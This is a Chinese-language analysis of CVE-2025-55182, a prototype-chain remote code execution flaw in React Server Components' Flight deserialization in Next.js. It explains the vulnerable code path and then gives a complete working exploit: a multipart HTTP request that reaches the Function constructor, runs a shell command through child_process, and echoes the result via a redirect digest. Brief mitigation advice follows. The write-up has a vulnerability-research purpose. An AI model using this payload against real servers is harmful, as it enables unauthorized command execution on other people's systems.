React 服务器组件原型链漏洞(CVE-2025-55182)最新POC分析(详细版)
字数 1483 2025-12-08 12:08:05
React服务器组件原型链漏洞(CVE-2025-55182)技术分析文档
漏洞概述
CVE-2025-55182是Next.js框架中React Flight反序列化机制的高危远程代码执行漏洞。该漏洞源于对对象属性访问路径缺乏有效校验,攻击者可通过构造恶意multipart表单实现无需交互的远程命令执行。
漏洞基本信息
- 漏洞编号: CVE-2025-55182
- 影响组件: Next.js React服务器组件
- 漏洞类型: 原型链污染导致的RCE
- CVSS评分: 10.0(严重级别)
- 影响版本: Next.js 16.0.6及以下版本
环境搭建
# 创建受影响版本的Next.js应用
npm create next-app@16.0.6 react -y
cd react
npm run dev
漏洞技术原理
核心漏洞点
React Flight协议在解析形如$id:prop:path的引用时,getOutlinedModel函数直接使用value[path[i]]遍历嵌套属性,未对path[i]进行危险属性过滤(如__proto__、constructor、prototype)。
攻击链构建
- 原型链访问: 通过
__proto__访问原型链窃取Function构造器 - 上下文劫持: 劫持内部上下文(如
_formData.get) - 代码执行: 结合可控的
_response字段控制执行上下文 - 触发机制: 构造
{ then: Function(maliciousCode) }对象,利用Promise自动解析触发RCE
详细漏洞分析
反序列化流程
-
decodeAction方法
- 创建新的FormData实例存储非动作相关数据
- 遍历body中的键值对,根据前缀进行分支处理
- 处理
$ACTION_前缀的引用格式
-
createResponse函数
- 初始化反序列化上下文
- 将攻击者控制的FormData赋值给
_formData属性 - 建立Flight协议解析的基础环境
-
关键函数调用链
decodeAction → decodeBoundActionMetaData → createResponse → getChunk → initializeModelChunk → getOutlinedModel
漏洞触发路径
// 恶意载荷示例
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "恶意代码字符串",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
代码执行机制
-
$B引用解析
case 'B': { const id = parseInt(value.slice(2), 16); const prefix = response._prefix; // 攻击者控制 const blobKey = prefix + id.toString(16); const backingEntry = response._formData.get(blobKey); return backingEntry; } -
函数构造过程
_formData.get被劫持为Function构造器blobKey包含恶意代码:"恶意代码;1337"- 执行
Function(blobKey)生成恶意函数
-
Promise自动触发
- 构造
{ then: maliciousFunction }对象 - Promise解析时自动调用
value.then(resolve, reject) - 等价于执行
maliciousFunction(resolve, reject)
- 构造
完整漏洞复现
攻击载荷构造
POST /apps HTTP/2
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then":"$1:__proto__:then",
"status":"resolved_model",
"value":"{\"then\":\"$B1337\"}",
"_response":{
"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_formData":{
"get":"$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6Sad--
关键技术要点
- 原型链遍历: 通过
$1:__proto__:then访问Chunk.prototype.then - 函数劫持: 使用
$1:constructor:constructor获取Function构造器 - 代码注入: 通过
_prefix字段注入恶意系统命令 - 结果回显: 利用Next.js的Error.digest机制回显命令执行结果
防护建议
- 输入验证: 严格校验对象属性访问路径,过滤危险属性名
- 沙箱环境: 在服务器端执行用户代码时使用安全的沙箱环境
- 依赖更新: 及时更新React和Next.js到安全版本
- 权限控制: 最小化服务器组件的执行权限
总结
CVE-2025-55182展示了现代JavaScript框架中原型链污染的严重安全影响。该漏洞结合了反序列化漏洞、原型链污染和Promise自动化机制,形成了完整的RCE攻击链。开发人员应加强对用户输入的处理和验证,特别是在处理复杂对象序列化场景时。